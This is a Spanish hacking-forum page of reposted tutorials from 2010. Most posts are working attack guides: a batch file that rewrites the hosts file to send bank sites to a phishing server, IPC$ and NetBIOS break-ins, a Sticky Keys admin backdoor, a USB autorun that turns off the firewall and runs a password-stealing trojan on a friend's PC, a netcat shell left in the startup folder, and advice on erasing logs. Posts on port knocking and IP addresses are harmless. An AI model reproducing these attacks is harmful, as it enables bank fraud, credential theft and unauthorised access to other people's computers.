Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ANTRAX

#5301
Hacking / Manual de Pharming
Febrero 18, 2010, 12:49:22 PM
Manual de Pharming

Bueno, primero que todo necesitaremos saber que es pharming si lo queres poner en practica: aqui les va un poco de definicion.


Ahora que ya sabemos que es pharming y pues phising procederemos a actuar:

Materiales:
El block de notas
Algun pack de iconos
Converter .bat to .exe (es un compilador de archivos batch)

Ahora lo primero que vamos hacer sera abrir el block de notas y escribir:

Código: text
@echo off
echo 72.9.233.146 www.banamex.com.mx >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.bbva.com >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.bancomer.com.mx >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.esmas.com >> %windir%\system32\drivers\etc\hosts
exit


Expliquemos un poco,: la direccion ip

Código: text
72.9.233.146


sera la ip de su hosting donde tengan su scam bancario o de lo que sea(con ip de su hosting me refiero a un hosting con ip dedicada no que hicieron ping a su pagina web y listo ye tengo mi ip por que eso no es asi), entonces esa ip la cambian por la suya, en este caso puse la ip de la pagina web de un juego.
La pagina web que en este caso pusimos
Código: text
www.banamex.com.mx - www.bbva.com - www.bancomer.com.mx - www.esmas.com

seran las paginas webs a las que entraran nuestras victimas y seran redireccionadas a nuestro scam.
Y la ruta
Código: text
%windir%\system32\drivers\etc\hosts

lo que hace es llamar al archivo hosts que se encuentra en el directorio de
Código: text
windows > system32 > drivers > etc


para asi añadirle esas lineas nuestras al archivo hosts.

Ya dejemonos de explicaciones y vamos al grano: Ahora le damos clic en guardar como y le ponen cualquier nombre pero con la extencion .bat por ejemplo (file.bat) y nos salimos ahora abrimos nuestro converter .bat to .exe y compilamos nuestro archivo para que quede en .exe y si quieren le cambian el icono desde el mismo compilador y con esto abremos terminado, ahora provemos: ejecutemos nuestro archivo file.exe y veran que no paso nada a simple vista pero ahora vayan a la siguiente ruta WINDOWS\system32\drivers\etc y abran el archivo hosts con el block de notas y veran nuestras URL`S e IP`S en aquel archivo y eso significara que funciono (cuando ejecuten su archivo file.exe se modificara el archivo hosts, y para desinfectarse solo abran el archivo hosts y borren nuestras URL`S e IP`S que se añadieron y dejamos por defecto la ip 127.0.0.1 y el nombre localhost) o simplemente abran una ventana nueva del internet y escriban una de las direcciones webs que decian en el archivo como por ejemplo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y veran que seran redireccionados a la ip (72.9.233.146) la cual es una pagina web de un juego, y si miran bien la URL se daran cuenta de que nada cambia por que dira lo mismo de No tienes permitido ver enlaces. Registrate o Entra a tu cuenta por eso es tan efectivo estos ataques jeje, y para los que piensan en grande por la net existen varios scripts para infectar PC`S de forma silenciosa como el fire pack lite, ice pack entre otros.

Nota:Este documento fue creado de forma educativa y ni el autor ni ayudantes se hacen responsables por los malos usos que les puedan dar a este documento.

Todos Los Derechos Reservados.TheFidentisEste Documento puede ser distribuido, siempre y cuando el nombre del autor permanezca intacto.

Autor: TheFidentis
Fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#5302
Redes y antenas / ¿Que es una direccion Ip?
Febrero 18, 2010, 12:48:08 PM
Dirección IP

Una dirección IP es un número que identifica de manera lógica y jerárquica a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el protocolo IP (Internet Protocol), que corresponde al nivel de red o nivel 3 del modelo de referencia OSI. Dicho número no se ha de confundir con la dirección MAC que es un número hexadecimal fijo que es asignado a la tarjeta o dispositivo de red por el fabricante, mientras que la dirección IP se puede cambiar.

Es habitual que un usuario que se conecta desde su hogar a Internet utilice una dirección IP. Esta dirección puede cambiar al reconectar; y a esta forma de asignación de dirección IP se denomina una dirección IP dinámica (normalmente se abrevia como IP dinámica).

Los sitios de Internet que por su naturaleza necesitan estar permanentemente conectados, generalmente tienen una dirección IP fija (se aplica la misma reducción por IP fija o IP estática), es decir, no cambia con el tiempo. Los servidores de correo, DNS, FTP públicos, y servidores de páginas web necesariamente deben contar con una dirección IP fija o estática, ya que de esta forma se permite su localización en la red.

Saludos.

Fuente: E.P.I
#5303
Hacking / Resetear el Bios sin sacar ni un tornillo
Febrero 18, 2010, 12:47:50 PM
Holas, bueno esto lo encontre googleando, personalmente a mi no me funciono, no se porque, puede que sea porque lo probe en una maquina virtual y no en mi pc original, pero haber como les va a ustedes, y luego comentan para saber si les funciono o no

Para Resetear la bios de nuestro ordenador por software utilizaremos el "Debug" de windows en cualquiera de sus versiones. Pues bien pulsamos el boton de "inicio" y seleccionamos "Ejecutar" en la ventanita que aparece escribimos "Debug" ( sin las comillas ) y se habrira una pantalla de DOS escribiremos los siguientes comandos:

(sin las Comillas)
"o 70, 2e"
"o 71, ff"
"o 70, 2f"
"o 71, ff"

despues cerramos la ventana y nuestra bios ya esta reseteada, esto significa que si tenia alguna contraseña esta tambien a quedado resetea.

fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#5304
Hacking / Entrar a una pc remota via IPC
Febrero 18, 2010, 12:45:26 PM
aki Les dejo un tuto para entrar a una pc via IPC yo lo prove y funciona de maravilla
En este post les enseñare como entrar a una pc via IPC


Primero deberemos tener la ip de la pc a la que queramos entrar una muy buena manera de sacarla es esta: Entras al MSN y le pasas un archivo a la victima mientras se lo estas pasando vas a el MS-DOS y pones: netstat -n y te dara la ip de la persona

Despues cuando ya tienes la ip te vas de nuevo al MS-DOS y pones:

net use \\ipdelamaquinaremota\IPC$ * /user:administrador 
Eso es para entrar como administrador seguramente te va a pedir password para descifrar la password te recomiendo algun programa de fuerza bruta y listo ya podrás sacar la password .

Otra manera de entrar es poniendo:
net use \\ipremoto\IPC$ * /user:""
Eso es para entrar como usuario nulo talvez no te pida password pero vas a tener menos privilegios si entras como usuario nulo te recomiendo entrar como administrador , acuerdate que tendrás que sacar la password.

Y bueno si conseguiste entrar a la pc via IPC$ empieza a administrar la pc
Si tienes conocimientos en MS-DOS podrás poner los comandos a ejecutar en el MS-DOS
O si no puedes ir a mi pc y donde diría mi pc pones:
\\IPREMOTO
Y listo ya estaras en el escritorio remoto

el dueño de este tutorial es anonimo ya que esta informacion esta exparcida por muchos foros y nadie tiene psoteado el autor   :-\
#5305
Hacking / Entrando por NetBios By _84kur10_
Febrero 18, 2010, 12:43:53 PM
Entrando por NetBios By _84kur10_


  • 0x01 Que es NetBIOS
  • 0x02 Idea
  • 0x03 Q necesitas?
  • 0x05 Accediendo al pc remoto
  • 0x06 Recomendaciones
  • 0x07 Final



    0x01 NetBIOS

    "Network Basic Input/Output System", es, en sentido estricto, una especificación de interfaz para acceso a servicios de red, es decir, una capa de software desarrollado para enlazar un sistema operativo de red con hardware específico. NetBIOS fue originalmente desarrollado por IBM y Sytek como API/APIS para el software cliente de recursos de una Red de área local (LAN). Desde su creación, NetBIOS se ha convertido en el fundamento de muchas otras aplicaciones de red.
    fuente:No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    0x02 Idea

    La idea entonces es hacernos al password de la pc remota, para que por medio de netbios podamos conseguir una comand shell. de esta forma a la final obtendremos una conexion directa. tambien hay que tener encuenta que podemos quizas tener problemas con el firewall.


    0x03 Q necesitas?

  • Iptools : Scaner  de red
  • Essential NetTools : Scaner de red
  • Psexec: herramienta Microsoft para ejecución de comandos remotos.

    0x04 Scaning
    Scaneas con Essential NetTools y nos encontramos cosas como:





    en este caso escaneamos un rango de direcciones, = podria tratarse de una sola direccion
    por default el Essential usa una lista de pass y de users a probar... = si le bruejeas un poco la puedes modificar
    y colocar tu lista.


    miren lo que encontramos



    0x05 Accediendo al pc remoto

    Observamos  nuestra dirección ip


    Nos conectamos al pc que obtuvimos con el scaner



    Miramos la ip y notamos que efectivamente estamos en la maquina remota con privilegios de administrador




    0x06 Recomendaciones finales

    Una vez que tenemos este acceso a la pc. podriamos usando algun troyano. o instalar algun keylogger etc, pues eso ya depende de cada quien, dentro de las utilidades del psexec hay una que sirve para transferencia de archivos, o tambien podriamos montar un servidor tftp o ftp para transferir archivos, y posteriormente ejecutarlos.
    o podria usar el atelier web commander que es una soft basado en rdp, para hacernos a un escritorio remoto,
    o simplemente  podriamos tratar de uniciar el servicio de escritorio remoto... y weno ya ahi depende de su imaginacion.

    0x07 Final



    esta es una opcion... no es 100% seguro q funcine siempre... pero a mi me ha funcionado :D
    el tutorial esta basico, pero si lo juntamos con otras cuantas cosas (que ya depende de cada quien)
    se puede tornar interesante.
    espero les sirva de algo
#5306
Hacking / Port knocking by cygog
Febrero 18, 2010, 12:41:18 PM
Introducción a Port Knocking

En informática, port knocking es un método utilizado para abrir puertos en un firewall mediante un conjunto de intentos de conexión lanzados sobre puertos cerrados. Cuando en el servidor se recibe la secuencia correcta de conexión, las reglas del firewall son modificadas dinámicamente para permitir al host que envió los paquetes conectar a un puerto/s específico/s.

El principal objetivo de port knocking es prevenir escaneos de puertos a un determinado equipo para evitar potenciales ataques a servicios vulnerables. Esto se consigue ya que, a menos que se envíe la secuencia de knocks correcta, los puertos aparecerán como cerrados para cualquiera que lance un escaneo sobre el equipo. Un 'port knocking' es similar a un handshake y consiste en una serie de paquetes TCP, UDP o incluso ICMP dirigidos cada uno a un puerto concreto en la máquina destino. La complejidad del 'knock' puede ir desde una simple lista de paquetes protocolo-puerto hasta un complejo hash encriptado controlado según IP origen y/u otros factores.

Ejemplo: Un demonio sshd configurado por defecto escuchará en el puerto 22. Configuramos el firewall para que cierre el puerto 22 y elegimos como secuencia de 'knocks' la sucesión TCP-100, UDP-200, TCP-300 que habilitará el puerto 22 en la máquina. El puerto permanecerá cerrado hasta que un usuario intente inicializar conexiones TCP y UDP hacia los puertos 100, 200 y 300 en ese mismo orden. En este caso, el puerto se abrirá durante un intervalo de tiempo determinado. En caso contrario, el usuario recibirá un paquete RST/ACK cuando inicialice conexiones TCP hacia el puerto22.


Pero Port Knocking tiene algunas debilidades:


- Un atacante que no conozca la secuencia de 'knocks', mediante fuerza bruta, podría llegar a obtener la secuencia requerida para habilitar un determinado servicio.

- Monitorizando las comunicaciones, un atacante podría intentar detectar una secuencia de puertos para reproducirla posteriormente contra el servidor para conseguir acceso al servicio protegido.

- Las secuencias de port knock pueden ser encriptadas y existen diversas implementaciones que se pueden encontrar en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Pero cada paquete enviado puede contener sólo dos bytes de información debido al tamaño de 16 bits que tienen los campos de los puertos en las cabeceras TCP y UDP. Por tanto, para enviar una secuencia cifrada, utilizando por ejemplo un algoritmo simétrico de 128 bits, una secuencia de port knock estaría formada por 128/16=8 paquetes. Aquí nos encontramos con un posible problema de entrega desordenada de paquetes ya que en este caso no hay una conexión cliente-servidor (tipo TCP). Se puede añadir un retardo de medio segundo para evitar este problema, y en este caso el tiempo de entrega de la secuencia llegaría a 4 segundos. Pero si se decide utilizar algoritmos de cifrado asimétricos, la cantidad de bits a enviar es más grande y el tiempo de entrega de estos paquete se vuelve excesivo e inviable. Esto puede resultar una gran desventaja del port knocking.

Conclusión: Port knocking provee algunas ventajas que aumentan las seguridad, pero también tiene algunas limitaciones serias que hay que tener en cuenta. SPA (Single Packet Authorization) es un protocolo relativamente nuevo que mantiene los beneficios del port knocking pero soluciona algunas de las limitaciones del mismo.

Descripción de SPA (Single Packet Authorization)

SPA es una variante del port knocking donde sólo un 'knock' es necesario para validar la petición. Éste 'knock' consiste en un paquete encriptado.
SPA ofrece una arquitectura similar a la del port cknocking:

   1. Ambos sienen componentes cliente y servidor,
   2. El servidor matiene el control de filtrado por defecto a DROP
   3. El servidor monitoriza paquetes de forma pasiva.

Pero aquí es donde acaban las similitudes.

La principal ventaja que ofrece SPA es que la cantidad de información que puede ser incluída en el paquete sólo se encuentra limitada por el MTU. Esta ventaja permite que mediante SPA se pueda incluir en el paquete no sólo información de acceso, sino también por ejemplo, comandos que sean ejecutados en el sevidor SPA.

En definitiva, SPA provee un nivel de seguridad similar al port knocking en términos de proteger un servicio con un filtrado de paquetes en un sistema con una política por defecto de INPUT a DROP. En este entorno, cualquiera que realice un escaneo a la máquina no sería capaz de detectar si un servicio está realmente activo en ella, lo cual dificulta la explotación de muchas vulnerabilidades. SPA ofrece una solución elegante las limitaciones del port knocking.

Vamos a ver mediante un ejemplo práctico, cómo utilizar fwknop en modo Single Packet Authorization para proteger y ofrecer acceso al demonio OpenSSH.
- fwknop define el siguiente formato de paquete en la capa de aplicación:

    * 16 bytes de datos aleatorios
    * Nombre del usuario cliente
    * Timestamp del cliente
    * Version fwknop
    * Modo (acceso or comando)
    * Acceso (o una cadena de comando)
    * Resumen MD5 /SHA

Una vez que el cliente fwknop contruye el paquete con los campos arriba indicados, el paquete entero es encriptado usando un algoritmo de clave simétrica (128 bits) o asimétrica (utilizando GnuPG con una longitud de clave de 1024 - 4096 ). Por defecto, el cliente enviará un paquete UDP al puerto 62201, aunque esto se puede modificar fácilmente (mediante el uso del parámetro --Server-port)

A continuación se muestra un ejemplo de instalación, configuración y prueba de fwknop:

Tendremos que tener instalado GnuPG tanto en el servidor como en el cliente.

- Instalamos el servidor OpenSSH

# apt-get install openssh-server

- Instalamos los requisitos para fwknop:

# apt-get install build-essential libpcap-dev mailx

- Instalamos fwknop en el servidor:
En este caso, hemos instalado la versión 1.9.2 del 12 de Marzo de 2008

# wget No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
# tar zxvf fwknop-1.9.0.tar.gz
# cd fwknop-1.9.0
# sudo ./install.pl

- Nos hace una serie de preguntas a las cuales se ha contestado lo siguiente:

In which mode will fwknop be executed on the local system?
(client/[server]): server

Which of the following data acquistion methods would you like to use?
([pcap], file_pcap, ulogd, syslogd, syslog-ng): pcap

Which network interface would you like fwknop to sniff packets from? eth0

Enable fwknop at boot time ([y]/n)? y

- Podemos añadir fwknop al arranque del sistema:

# update-rc.d fwknop defaults 20

- Instalamos fwknop en el cliente:

# apt-get install build-essential libpcap-dev mailx
# wget No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (12 Mar 2008)
# tar zxvf fwknop-1.9.0.tar.gz
# cd fwknop-1.9.0# sudo ./install.pl

En este caso, contestamos con las mismas respuestas excepto que indicamos que se instale como cliente.

- Generamos par de claves en el cliente:

# gpg --gen-key

- Nosotros elegimos las siguientes opciones:

    * Tipo -> DSA
    * Tamaño -> 2048
    * Periodo -> La clave no caduca nunca
    * Nombre y apellidos: client fwknop
    * Correo: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


- Obtenemos:

pub 1024D/A174FC70 2008-03-24
uid Server fwknop
sub 2048g/3220AE91 2008-03-24

- Exportamos la clave a un fichero

# gpg -a --export A174FC70 > fwknop-client.asc

- Generamos par de claves en el servidor:

# gpg --gen-key

    * Tipo -> DSA
    * Tamaño -> 2048
    * Periodo -> La clave no caduca nunca
    * Nombre y apellidos: Server fwknop
    * Correo: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


- Obtenemos:

pub 1024D/D417D41A 2008-03-09
uid Server fwknop
sub 2048g/F5F02C2B 2008-03-09


- Exportamos la clave a un fichero:

# gpg -a --export D417D41A > fwknop-server.asc

Copiamos los ficheros respectivos en las máquinas e importamos las claves.

- Importamos la clave del servidor en el cliente:

# gpg --import fwknop-server.asc
# gpg --sign-key No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

- Importamos la clave del cliente en el servidor:

# gpg --import fwknop-client.asc
# gpg --sign-key No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


- Finalizando la instalación:

- Editamos /etc/fwknop/access.conf:

SOURCE: ANY;
OPEN_PORTS: tcp/22;
DATA_COLLECT_MODE: PCAP;
GPG_HOME_DIR: /root/.gnupg;
GPG_DECRYPT_ID: D417D41A;
GPG_DECRYPT_PW: password para la llave D417D41A;
GPG_REMOTE_ID: A174FC70;
FW_ACCESS_TIMEOUT: 30;

- Iniciamos fwknop:

# /etc/init.d/fwknop start

- Prueba de funcionamiento:

- Ejemplo de sintaxis:

fwknop -a 'puertos' --gpg-recip SERVER_KEY --gpg-sign CLIENT_KEY -s -D SERVER_IP

    * Con -s indicamos que el servidor SPA utilice la ip de origen de la cual recibió el paquete para crear la regla.En lugar de -s se puede utilizar -w que realizará una petición a No tienes permitido ver enlaces. Registrate o Entra a tu cuenta para averiguar la ip origen


- Probamos con:
# fwknop -a 'tcp/22' --gpg-recip D417D41A --gpg-sign A174FC70 -s -D 192.168.6.137



- Si todo ha ido bien, el servidor añade la entrada correspondiente a iptables. Ésta se mantendrá durante 60 segundos, después de los cuales se eliminará automáticamente.
En este caso, nos crea una regla que permite a la IP 192.168.6.137 conexiones tcp al puerto 22.

- Podemos comprobar que todo ha ido bien consultando los logs en el servidor SPA:

# tail -f /var/log/syslog | grep fwknop



- Y cuando se acabe el tiempo disponible para realizar la conexión:



- Podemos consultar las reglas iptables en tiempo real con:

# watch -n1 iptables -L -n





NOTA:
fwknop crea una nueva una nueva cadena en iptables llamada FWKNOP_INPUT y la cadena INPUT hace referencia a ésta.
En el servidor probamos poniendo la política INPUT del iptables por defecto a DROP pero no la cadena OUTPUT. Hay que tener en cuenta que fwknop, por defecto, sólo añade reglas a FWKNOP_INPUT. También se puede habilitar en fwknop.conf para que se cree utilice la cadena
FWKNOP_OUTPUT y así se creará reglas para permitir tráfico OUTPUT.

- Para que se mantenga la conexión SSH que hayamos establecido durante el tiempo permitido, tendremos que tener en iptables una regla que permita las conexiones ya establecidas. Si no, la conexión quedará cortada cuando fwknop elimine la regla correspondiente. En nuestro caso, hemos añadido:

# iptables -A INPUT -p tcp -i eth0 -m state --state ESTABLISHED, RELATED -j ACCEPT
#5307
Hacking / Admin con StickyKeys en Windows XP
Febrero 18, 2010, 12:34:03 PM
Buenas, intentaré esxplicar de forma sencilla como conseguir privilegios de Administrador en un Windows XP (o Vista).
Puede que algunos lo conozcan, es muy simple.

Requisitos:

1- El ordenador Víctima debe tener StickyKeys (para comprobarlo, pulsamos                     rápidamente, 5 veces, la tecla Shift, la Flecha que está encima de Ctrl, si sale un mensaje, está activado)
2- Como Windows no nos deja modificar archivos del sistema, con una cuenta User corriente, debemos reemplazar los archivos con una distribución linux.

Comencemos:

1- Vamos a la Carpeta del sistema (C:\Windows\System 32\) y buscamos los siguientes archivos:
     - sethc.exe
     - cmd.exe
2- Si usamos un linux, para cambiar los archivos, ya que es la forma más facil, haremos lo siguiente: borramos/movemos el primer archivo (sethc.exe).
3- Copiamos el segundo archivo (cmd.exe) y la copia la renombramos a sethc.exe  ::)

Listo !!

Ejecución:


1- Antes de elejir usuario, pulsamos 5 veces la tecla shift, para llamar al sethc.exe (que en realidad es cmd) y obtendremos una ventana de CMD con privilegios de Admin.
2- Ejecutamos los comandos que queramos:
Código: text
Crear un usuario nuevo:
net users /add "nombre de usuario" contraseña
Añadimir a Administradores así:
net localgroup /add Administradores "nombre de usuario"
Ver los Privilegios:
net localgroup
Borrar un usuario:
net users /del "nombre de usuario"

3- Podríamos añadir nuestro User al grupo administradores, o crear uno nuevo con privilegios de admin, ... mil cosas  :P

Otra posibilidad es poner el comando "control userpasswords2" y desde ahí reestableces la contraseña de Admin y ponerla en blanco, ...


Hasta aquí con StickyKeys  ;D

BY SLEK
#5308
Hacking / Re:Hackeando solo con la ip
Febrero 18, 2010, 12:28:59 PM
La IP Publica!
La privada es solo para tu red lan
#5309
Hacking / Crackeando las pass de windows
Febrero 18, 2010, 12:26:23 PM
Bueno esto es muyyy facil como alguno sabres las contraseña del administrador y cualquier usuario tiene una ruta en el ordenador y se guarda como HASH bueno la ruta es esta C:\Windows\System32\config\SAM y ahora dire como aceder y crackear la pass muy facilmente y unos simples click, como sabeis cualquier linux entiente a los windows pero los windows no entienten a los linux... pues por chulos acederemos a su particion sacaremos la pass y la crackearemos ai un liveCD que lo ace

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

en unos simples clicks jeje saca la pass no hay mucho que explicar pruebenlo, eso si... si alguna pass no la saca no pasa nada copiar la hash que el proximo manual explicare como crackear hash y md5 :P
#5310
Hacking / Manera sencilla de obtener contraseñas
Febrero 18, 2010, 12:21:59 PM
Bueno pues esto no tiene mucho misterio si quieren contraseñas " de mensajeria instantanea " necesitamos:

-Usb
-Hosting "free" (de pago no que estamos en crisis)
-Y algunos ficheros
-Un amigo que nos caiga mal
-Aceso a su ordenador
-Y maldad

Todos los que carezcan de maldad asbtenerse es perjudicial para el corazon
Bueno empezemos:
Ya supongo que tendran algun usb y un hosting free que se abran exo pues el paso es este:

Paso 1
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
contraseña: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Supongo que sabran configurarlo .
Bueno una vez creado el server lo copiaremos al raiz de USB y pasaremos al siguienta paso:

Paso 2
USB en el usb pondremos lo siguiente un par de txt
uno sera autorun
Código: text

[Autorun]
open=nombredelejecutable.vbs
icon=icono.ico

Lo guardaran como autorun.inf y lo pondran en la carpeta raiz del usb y explico open ejecuta el archivo y icon sirve para disimular el autoinicio, bueno y para ejecutar el batch oculto podriamos poner un code en vbs que antes deje:

Código: text

set objshell = createobject("wscript.shell")
objshell.run "nombre de tu batch.bat", vbhide

Guardarlo como dije en vbs y lo dejan tambien en el raiz USB
y el otro sera el bat que desabilitara el firewall y llamar al otro exe

Código: text

@echo off
netsh firewall set opmode disable
start nombredelservidor.exe
exit

Este lo guardaran como .bat y va al raiz USB

Pues bueno eso es todo amigos ahora les queda un poco de ingeneria social con su amigo bueno "enemigo"
diganle voi a enseñarte una cancion  y le metes el mp3 o sin que se entere le metes el usb, espero que les aya gustado jeje me aburria y tenia tiempo libre xD, ah si el server se lo detecta el AV no es cosa mia xD no me ago responsable "vayan al tema de cryptografia" xD

By CaZs
#5311
Hacking / Fases del Hacking by darkbouser
Febrero 18, 2010, 12:19:33 PM
aqui les dejo para los newbies las fases del hacking

esto lo puse en mi parte de la e-zine que estoy haciendo pero lo pongo aqui por adelantado :P

Reconocimiento
Esta parte del hacking es la primera, se trata de buscar información de la víctima o del sistema donde queremos introducirnos, primero debemos pensar en nuestro objetivo y la razón por la que queremos atacar, luego buscaremos la información que necesitemos para nuestro ataque, es decir tenemos que saber la dirección ip (protocolo de internet) y también saber que puertos tiene abierto tiene, luego a continuación podremos atacar el sistema de la víctima, pero también es posible que la victima tenga una contraseña y tendría que ser craqueada por fuerza bruta, pero como que la ética del hacker dice que se no se debe usar fuerza bruta al menos que sea de último recurso, entonces se podríamos usar ingeniería social o algún otro método y a continuación el ataque
Escaneo
Como mencione antes debemos saber la dirección ip de la víctima, los puertos etc. Por eso tendremos que encontrar esa información, si estamos hablando directamente con la víctima, podríamos usar ingeniería social para que nos dé  la dirección ip, si queremos atacar un servidor es muy fácil aun y nadie se enterara solamente si estamos en Windows podemos abrir el ms-dos y hacer ping al hostname de la víctima y  si está conectado como respuesta nos dará el ip, luego escanearemos su ip con Nmap y veremos sus puertos abiertos, si quieren hackiar a una empresa y no saben el PC indicado pueden usar whois, esos les podrá dar quizás la información o si no ingeniería social  y también tenemos que buscar las posibles contraseñas del sistema víctima , podremos usar 2 recursos: ingeniería social (que no están efectiva en este caso), un keylogger (malware que monitorea desde nuestro PC todas las teclas que teclea la víctima, para eso usaremos ingeniería social desde   un chat como IRC  o MSN hablemos con el administrador del sistema o servidor,   usamos ingeniería social y cuando logremos que ejecute el servidor del troyano o keylogger le pedimos que ingrese en el sistema que queremos atacar, y cuando se entre veremos su contraseña y tendremos todo lo necesario.

Obtener acceso
Una vez que tengamos ip, puertos, contraseña etc. Atacaremos  podremos usar los recursos que queramos en mi caso usaremos telnet, FTP, Putty que podríamos usarlo como cliente de  telnet o de SSH, bueno en este ejemplo usaremos telnet (si logramos encontrar un bug que nos de acceso mucho mejor y no necesitaremos lo anterior solo el ip y quizás el puerto)  y colocamos el ip puerto, usuario y contraseña (el usuario se lo pedimos a la víctima por ingeniería social  o por el mismo keylogger) una vez que entremos en el sistema, a partir de este paso podemos hacer lo que queramos

Mantener Acceso
Para mantener el acceso tendríamos que pensar en el recurso que usen, hagan todo lo posible que el administrador no se dé cuenta, es decir no borren nada, no copien ni peguen nada, no muevan nada, solo exploren pero no toquen nada para que la víctima no se de cuenta, si estamos atacando a un servidor no modifiquen nada y podríamos crearnos un usuario que tenga privilegios de administrador si atacamos a un servidor web o podríamos modificar para tener un backdoor (puerta trasera) para entrar cuando necesitemos, y si es una computadora tendremos que meter un troyano, y esconderlo bien en el disco duro para que el administrador no se dé cuenta, otra cosa si atacamos el servidor no usen ftp (protocolo de transferencia de archivos) porque ay tendremos que modificar cosas y la victima se dará cuenta y todo se echara a perder.

Borrado de huellas
Esta es la última fase, cuando terminemos nuestro ataque antes de retirarnos debemos borrar cualquier rastro que nos pueda pillar y mandarnos a la cárcel, por eso haremos lo siguiente:
Si entramos a un servidor será mejor borrar todo lo que nos pueda rastrear como el ip, por eso en el hosting borraremos todo el rastro posible y como que atacamos por telnet en este ejemplo borraremos el registro de telnet tenemos que eliminar todo lo que demuestre nuestra presencia aunque no nos rastren pero el administrador  podría cambiar su contraseña y nombre de usuario y en próxima ocasión no podríamos entrar.

by darkbouser
#5312
Hacking / Shell via Netbios
Febrero 18, 2010, 12:18:43 PM
Vamos a hablar sobre como hacernos una shell a una pc que comparte su disco via netbios

Voy a hablar sobre netbios, pero espero no hacer otro aburrio texto sobre como hackear PCs por netbios porque ya deben estar aburridos de leer lo mismo, y piensan "yo quiero avanzar sobre el tema de la seguridad informatica" todos nos estancamos en conocimientos en algun momento, pero luego uno despega ;P
Va a ser cortito, pero lo que les quiero explicar es como conseguir una shell de una forma muy elegante en el sistema remoto, y asi poder empezar a ejecutar comandos en la misma. Estamos hablando del netcat (de ahora en mas nc) y viene bien para empezar a que se familarizen con esta espectacular herramienta!! llamada 'navaja suiza' por su infinidad de opciones que nos da, segun 'hobbit' el creador de la misma, tiene como 1000 funciones + 1 Wink

Aunque parezca mentira, utilizar nc es un tema aparte. Pero voy a introducirlos un poquito en esto. Por cierto les comento, como se imaginaran es una herramienta originalmente para linux , pero fue adaptada a windows por un miembro de l0ph.
Pueden bajar nc para windows desde aca:

----->No tienes permitido ver enlaces. Registrate o Entra a tu cuenta<-----

Estas son algunos parametros basicos de nc, y los paso a explicar brevemente:

-d Modo Stealth. Esta opcion permite hacer funcionar al programa en background (especial para obtener una shell remota en el sistema, no?)

-e<programa> Ejecuta un programa cuando se realiza la conección a la misma (si si .. ya se .. No tienes permitido ver enlaces. Registrate o Entra a tu cuenta Wink )

-l -L para dejar a nc a la escucha. La diferencia entre la mayuscula y la minuscula, es que en la minuscula cuando se termina una conección no se vuelve a poner a la escucha, encambio con la mayuscula al cerrar una conección, vuelve a ponerse a la escucha Wink

-o<logfile> genera un log de las acciones de nc en hexadecimal.

-p<port> el puerto al que lo vamos a dejar en la escucha

-t Funciona como un demonio de telnet!

-v Modo verbose, nos muestra mas información de la que usualmente nos da sobre las conecciones.

Hay mas, muuuchas mas. Pero primero, obviamente, no lo se manejar a fondo este programa Sad ya aprendere mas. Y por otro lado, por ahora nos alcanzan, ya dije que tengo para rato para hablar del nc (y eso que no se usarlo ni al 20% Very Happy, asi que dense una idea ... )

Dejamos esta introducción aca sobre el netcat, para comenzar a hablar sobre Netbios.

Este tema abunda en la red, y no me voy a poner a explicar algo tan pavo. Para los no entendidos, les digo que vayan y googleen un poco. Basicamente, el Netbios es un protocolo/servicio que permite compartir archivos via la red.
Se puede 'hackear' una pc via Netbios via la linea de comandos de windows (command) pero prefiero gastar mis dedos en otra cosa, porque supongo que todos lo saben hacer. Si no googleen como dije que van a encontrar muucha información sobre el tema, y cualquier scaner lo hace. (el landguard por ejemplo)

Ok, vamos a ubicarnos en una situación. Tenemos una PC de X persona, que comparte el disco rigido entero, el C: Y podemos navegar su disco con total libertar, subir, bajar archivos, borrar, hacemos lo que queremos. Pero no podemos ejecutar archivos en su PC! ni ejecutar ordenes, ni nada. Nada mas podemos subir y bajar archivos, pero no nos alcanza Sad
Y nos fastidiamos diciendo, "no se puede hacer nada casi con esto, mas que robarle sus archivos" aca es donde entra nuestro amigo nc. Como ustedes sabran, windows tiene una carpeta llamada inicio donde al iniciar windows (valga la redundancia) ejecuta todos los archivos que estan en esa carpeta. Entonces empezamos a poner a funcionar nuestras neuronas y ... y si .... podemos poner el nc para que al iniciar windows se ejecute, y se quede a la escucha esperando nuestra conección, y asi conseguir una shell remota al sistema!
Y ahi, ademas de poder subir, bajar, borrar, editar archivos en su Pc, tambien vamos a poder ejecutar ordenes en la misma! y la cosa es mucho mas divertido Wink Podemos por ejemplo, utilizar su pc para realizar otras acciones Wink

Nota: si ya se, esto tambien se puede hacer con un troyano. Pero ... empiezen a pensar mas aya de los troyanos, esto es una utildad que la van a tener que utilizar de aca en adelante siempre, y es mucho mas elegante que utilizar un troyano.

Entonces, vamos a dejar una orden que ejecute el nc en la pc remota cuando se reinicie la PC y de ahora en adelante (en realidad, apartir de nuestro primer reiniciado, tendremos acceso remoto via shell en la pc destino!)
copiemos el nc a c: de la Pc victima, y luego vamos dependiendo la version del windows que tenga a donde esta la carpeta inicio del mismo, y dejamos el siguiente BAT.
Creando el BAT ¬¬ esto no tendria que hacer falta, pero por las dudas Very Happy
1) Abrimos un block de notas y escribimos
nc -d -L 127.0.0.1 -p 31337 -e cmd.exe
2) lo guardamos como nombre.bat
Y ahora hago un par de aclaraciones, el '31337' es el puerto donde lo voy a dejar a la escucha, le puse ese numero porque es muy bonito Smile, el "pipe" indica que todo se va a pasar por medio del cmd.exe (esto es para windowsXP, si corre un win9x deberian poner cmd.exe y si es para un linux /bin/sh)

